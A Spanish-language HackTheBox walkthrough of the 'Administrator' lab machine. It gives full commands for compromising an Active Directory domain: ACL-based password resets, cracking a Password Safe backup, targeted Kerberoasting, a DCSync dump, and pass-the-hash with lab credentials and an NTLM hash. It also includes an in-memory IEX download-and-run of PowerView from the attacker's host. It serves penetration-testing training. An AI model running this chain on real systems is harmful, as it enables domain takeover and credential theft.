🩸
Gzzcoo HTB Walkthroughs
HomePentest NotesHTB Profile
  • Home
  • ACTIVE DIRECTORY
    • Easy
      • Active
      • Cicada
      • EscapeTwo
      • Fluffy
      • Forest
      • Sauna
      • Support
      • Timelapse
    • Medium
      • Administrator
      • Authority
      • Cascade
      • Certified
      • Escape
      • Hospital
      • Intelligence
      • Jab
      • Manager
      • Monteverde
      • Puppy
      • Querier
      • Resolute
      • Scrambled
      • StreamIO
      • TombWatcher
      • TheFrizz
    • Hard
      • Acute
      • Analysis
      • Blackfield
      • Certificate
      • Haze
      • Mantis
      • Object
      • Reel
      • Scepter
      • Search
      • Vintage
    • Insane
      • DarkCorp
      • Ghost
      • Infiltrator
      • Multimaster
      • Sizzle
  • WINDOWS
    • Easy
      • Blue
      • Devel
      • Grandpa
      • Granny
      • Heist
      • Jerry
      • Netmon
      • Optimum
      • Return
  • LINUX
    • Easy
      • Alert
      • Analytics
      • Antique
      • Armageddon
      • Bank
      • Bashed
      • Bizness
      • Blocky
      • BoardLight
      • BountyHunter
      • Broker
      • Busqueda
      • Cap
      • Chemistry
      • Code
      • Codify
      • CozyHosting
      • Delivery
      • Devvortex
      • Dog
      • Editorial
      • GreenHorn
      • Headless
      • Horizontall
      • Irked
      • Keeper
      • Knife
      • Lame
      • LinkVortex
      • Mirai
      • MonitorsTwo
      • Nibbles
      • Nocturnal
      • Nunchucks
      • OpenAdmin
      • Paper
      • PC
      • PermX
      • Planning
      • Pilgrimage
      • Precious
      • Previse
      • Sau
      • ScriptKiddie
      • Shocker
      • Sightless
      • Squashed
      • Titanic
      • Topology
      • TraceBack
      • TwoMillion
      • UnderPass
      • Usage
      • Valentine
      • Validation
      • Wifinetic
    • Medium
      • Backfire
      • Cat
      • Cypher
      • Heal
      • Instant
      • Trickster
    • Hard
      • Eureka
Con tecnología de GitBook

© 2025 Gzzcoo.

En esta página
  • Reconnaissance
  • RPC Enumeration
  • AS-REP Roast Attack (GetNPUsers) - [FAILED]
  • Kerberoasting Attack (GetUserSPNs)
  • LDAP Enumeration (ldapdomaindump)
  • Abusing WinRM
  • BloodHound Enumeration
  • Initial Acess
  • Abusing GenericAll privileges (Changing user credentials from Powershell)
  • Abusing ForceChangePassword privileges
  • FTP Enumeration
  • Privilege Escalation
  • Abusing GenericWrite Privileges for SPN Spoofing and TGS Harvesting (TargetedKerberoast)
  • DCSync Attack (secretsdump)

¿Te fue útil?

Exportar como PDF
  1. ACTIVE DIRECTORY
  2. Medium

Administrator

AnteriorMediumSiguienteAuthority

Última actualización hace 1 mes

¿Te fue útil?

Administrador es una máquina Windows de dificultad media diseñada en torno a un escenario de compromiso de dominio completo, en el que se proporcionan las credenciales de un usuario con pocos privilegios. Para obtener acceso a la cuenta michael, se enumeran las ACLs (Access Control Lists) sobre objetos privilegiados, lo que nos lleva a descubrir que el usuario olivia tiene permisos GenericAll sobre michael, permitiéndonos restablecer su contraseña. Con acceso como michael, se revela que puede forzar un cambio de contraseña en el usuario benjamin, cuya contraseña se restablece. Esto da acceso a FTP, donde se descubre un archivo backup.psafe3, que se descifra y revela las credenciales de varios usuarios. Estas credenciales se esparcen por el dominio, revelando credenciales válidas para el usuario «Emily». Una enumeración más detallada muestra que emily tiene permisos GenericWrite sobre el usuario ethan, lo que nos permite realizar un ataque Kerberoasting dirigido. El hash recuperado se descifra y revela credenciales válidas para ethan, que se encuentra que tiene derechos DCSync en última instancia, lo que permite la recuperación del hash de la cuenta Administrator y el compromiso completo del dominio.


Reconnaissance

Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Administrator.

nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.42 -oG allPorts

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.

nmap -sCV -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,59357,59362,59369,59374,59387,64847 10.10.11.42 -A -oN targeted -oX targetedXML

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

xsltproc targetedXML > index.html

python3 -m http.server 80

Comprobaremos el nombre del dominio que nos enfrentamos, el nombre del equipo y que tipo de máquina nos enfrentamos.

netexec smb 10.10.11.42

ldapsearch -x -H ldap://10.10.11.42 -s base | grep defaultNamingContext

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

catnp /etc/hosts

RPC Enumeration

Verificamos que hemos procedido a enumerar la lista de usuarios que se encuentran en el dominio de administrator.htb.

rpcenum -e All -i 10.10.11.42 -u 'Olivia' -p 'ichliebedich'

Guardaremos los usuarios del dominio enumerados en el archivo users.txt.

catnp users.txt

AS-REP Roast Attack (GetNPUsers) - [FAILED]

Debido que disponemos de una lista potencial de usuarios, probaremos a realizar un AS-REP Roast Attack para intentar obtener un Ticket Granting Ticket (TGT) para luego crackearlo de manera offline.

Comprobamos que no obtenemos ningún TGT debido que ningun usuario dispone del atributo (DONT_REQ_PREAUTH) de Kerberos.

impacket-GetNPUsers -no-pass -usersfile users.txt administrator.htb/ 2>/dev/null

Kerberoasting Attack (GetUserSPNs)

Dado que tenemos credenciales de un usuario válido del dominio, procederemos a realizar un Kerberoasting Attack para intentar obtener un TGS (Ticket Granting Service) para posteriormente crackear de manera offline el hash obtenido.

En este caso, comprobamos que no encontramos a ningún usuario kerberosteable.

impacket-GetUserSPNs -dc-ip 10.10.11.42 administrator.htb/Olivia -request 2>/dev/null

LDAP Enumeration (ldapdomaindump)

Con ldapdomaindump dumpearemos toda la información del LDAP a través del usuario y contraseña que disponemos. Nos generará los resultados en distintos formatos.

ldapdomaindump -u 'administrator.htb\Olivia' -p 'ichliebedich' 10.10.11.42 -o ldap

Revisando el archivo "domain_users.html" verificamos que el usuario que disponemos forma parte del grupo "Remote Management Users", con el cual podríamos conectarnos al DC a través de WinRM, PsExec, etc.

Abusing WinRM

Procederemos a acceder al WinRM a través de evil-winrm con el usuario que nos proporciona HackTheBox y hemos comprobado que forma parte del grupo "Remote Management Users".

netexec winrm 10.10.11.42 -u 'Olivia' -p 'ichliebedich'

evil-winrm -i 10.10.11.42 -u 'Olivia' -p 'ichliebedich'

BloodHound Enumeration

Realizaremos una enumeración con BloodHound a través de bloodhound-python.

bloodhound-python -c all -u Olivia -p 'ichliebedich' -d administrator.htb -ns 10.10.11.42

Initial Acess

Abusing GenericAll privileges (Changing user credentials from Powershell)

Revisando vectores de ataque desde BloodHound, verificamos que a través del usuario que disponemos (olivia@administrator.htb) tiene privilegios de GenericAll sobre el usuario (michael@administrator.htb).

Esto significa que podemos realizar un cambio de contraseña al usuario objetivo, en este caso, como tenemos acceso a la máquina Windows, podemos realizar el "Windows Abuse".

Volveremos a la terminal del WinRM, importaremos el módulo de PowerView.ps1 que disponemos en nuestra Kali y procederemos a asignarle una nueva contraseña al usuario (michael@administrator.htb).

ls PowerView.ps1

python3 -m http.server 80

IEX (New-Object Net.WebClient).downloadString("http://10.10.14.2/PowerView.ps1")

$UserPassword = ConvertTo-SecureString 'Gzzcoo123' -AsPlainText -Force

Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword 

Verificaremos que se han modificado las credenciales de usuario (michael@administrator) a través de netexec. Comprobamos que se ha realizado el cambio y además nos aparece como pwn3d, lo cual indica que podemos conectarnos remotamente al DC.

Accederemos a través del WinRM con el nuevo usuario obtenido.

netexec winrm 10.10.11.42 -u 'Michael' -p 'Gzzcoo123'

evil-winrm -i 10.10.11.42 -u 'Michael' -p 'Gzzcoo123'

Abusing ForceChangePassword privileges

Volviendo a revisar el BloodHound en busca de realizar un lateral movement o elevar nuestros privilegios, comprobamos que el usuario que disponemos actualmente (michael@administrator.htb) tiene privilegios de ForceChangePassword sobre el usuario (benjamin@administrator.htb).

Con lo cual, podemos también cambiarle la contraseña al usuario objetivo.

Realizaremos el mismo proceso desde la terminal que tenemos iniciada sesión la cuenta de (michael@administrator.htb).

Importaremos en memoria el módulo de PowerView.ps1 y procederemos a realizar el cambio de la contraseña del usuario objetivo.

python3 -m http.server 80

IEX (New-Object Net.WebClient).downloadString("http://10.10.14.2/PowerView.ps1")

$UserPassword = ConvertTo-SecureString 'Gzzcoo123' -AsPlainText -Force

Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPassword

FTP Enumeration

Verificaremos nuevamente las credenciales modificadas del usuario (benjamin@administrator.htb).

Además, anteriormente en la enumeración con nmap verificamos que se encuentra el puerto 21 (FTP) . Probaremos de acceder con las credenciales de este usuario para acceder al protocolo FTP.

netexec smb 10.10.11.42 -u 'Benjamin' -p 'Gzzcoo123'

ftp 10.10.11.42

ftp> ls

ftp> get Backup.psafe3

Verificando el archivo descargado de FTP, verificamos que se trata de um archivo de "Password Safe V3 database", que es un gestor de contraseñas similar a KeePass.

Probando de abrir el archivo de la base de datos de las contraseñas a través de la aplicación "Password Safe", verificamos que nos pide credenciales para abrir el archivo en cuestión.

A través de la herramienta pwsafe2john podemos obtener el hash de la contraseña para abrir el archivo de Password Safe. Almacenaremos el hash en "hash_backup" y a través de john procederemos a

pwsafe2john Backup.psafe3 > hash_backup

john --wordlist=/usr/share/wordlists/rockyou.txt hash_backup

Introduciremos la contraseña obtenida después de crackear el hash para abrir el archivo de la base de datos del Password Safe.

Verificamos que hemos podido acceder al archivo donde están almacenadas contraseñas y comprobamos que obtenemos una contraseña de la usuaria "Emily" que si bien recordamos es un usuario válido del dominio. Podemos intentar verificar si estas credenciales sirven para autenticarnos en el DC.

Validaremos las credenciales del usuario "emily@administrator.htb" , accederemos al WinRM y verificaremos la flag user.txt.

netexec winrm 10.10.11.42 -u 'Emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

evil-winrm -i 10.10.11.42 -u 'Emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Privilege Escalation

Abusing GenericWrite Privileges for SPN Spoofing and TGS Harvesting (TargetedKerberoast)

Se identificó que la cuenta Emily tenía el permiso GenericWrite sobre la cuenta Ethan, lo que permitía modificar atributos como servicePrincipalName (SPN). Aprovechando esto, se utilizó TargetedKerberoast para asignar temporalmente un SPN ficticio a la cuenta Ethan.

Luego, se solicitó un TGS (Ticket Granting Service) al DC, obteniendo un hash cifrado asociado al servicio. Finalmente, el SPN asignado fue eliminado para evitar dejar evidencias.

Se realizó el ataque a través de targetedKerberoast y se obtuvo un TGS (Ticket Granting Service) sobre el usuario "ethan@administrator.htb", que posteriormente crackearemos de manera offline.

python3 /opt/targetedKerberoast/targetedKerberoast.py -v -d 'administrator.htb' -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Procederemos a crackear el hash obtenido para obtener la contraseña del usuario "ethan@adminsitrator.htb".

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

Validaremos que las credenciales son válidas para el dominio.

netexec smb 10.10.11.42 -u 'Ethan' -p 'limpbizkit'

DCSync Attack (secretsdump)

Al revisar nuevamente en BloodHound, se verificó que el usuario ethan@administrator.htb dispone de privilegios DCSync, lo que nos permite llevar a cabo un DCSync Attack. Esto nos da la posibilidad de obtener todos los hashes NTLM del archivo NTDS.dit, que es la base de datos de Active Directory y almacena las contraseñas de todos los usuarios del dominio.

Se realizó el ataque de DCSync Attack y obtuvimos todos los hashes NTLM, incluídos los del usuario Administrator.

secretsdump.py -just-dc-ntlm administrator.htb/ethan@10.10.11.42

Verficaremos que el hash NTLM es válido y procederemos a conectarnos a través de evil-winrm con el usuario administrator@administrator.htb y verificar la flag de root.txt.

netexec winrm 10.10.11.42 -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'

evil-winrm -i 10.10.11.42 -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'

Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.

Debido que disponemos de credenciales de un usuario del dominio que nos aporta HackTheBox, procederemos a realizar una enumeración a través del protocolo RPC con la herramienta .

http://localhost
rpcenum